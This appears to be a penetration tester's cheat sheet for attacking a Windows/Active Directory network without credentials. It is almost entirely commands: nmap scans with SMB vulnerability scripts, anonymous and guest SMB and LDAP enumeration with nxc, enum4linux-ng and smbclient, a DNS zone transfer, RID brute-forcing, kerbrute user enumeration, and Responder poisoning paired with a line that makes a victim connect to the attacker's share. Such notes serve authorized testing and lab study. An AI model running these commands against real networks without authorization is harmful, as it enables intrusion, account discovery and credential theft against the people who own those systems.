No Credentials

Scan Network

nmap -Pn -sC -sV -p- $ip

nmap -Pn --script smb-vuln* -p139,445 $ip

nmap -sU -sC -sV -p- $ip

nxc smb $net

---

---

Anonymous & Guest access on SMB

enum4linux-ng -u '' -p '' $ip

nxc smb $ip -u '' -p ''
nxc smb $ip -u '' -p '' -M spider_plus

nxc smb $net -u '' -p ''
nxc smb $net -u 'a' -p '' -M spider_plus

smbclient -U '%' -L //$ip
smbclient -U 'guest%' -L //$ip

nxc ldap $ip -u '' -p '' --users

---

DNS zone transfer

dig axfr $domain @nameserver

---

Enum LDAP & users

nxc smb $ip --users | awk '{print $5}' > users.txt

nxc smb $ip --rid-brute 10000
nxc smb $ip -u 'anonymous' -p '' --rid-brute

nmap -n -sV --script 'ldap* and not brute' -p 389 $ip

---

1. Bruteforce user

kerbrute userenum -d $domain $userlist

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm= '$domain',userdb=$userlist" $ip

---

1. Poisoning

responder -A -I tun0

#on victim machine
\\kali_ip\share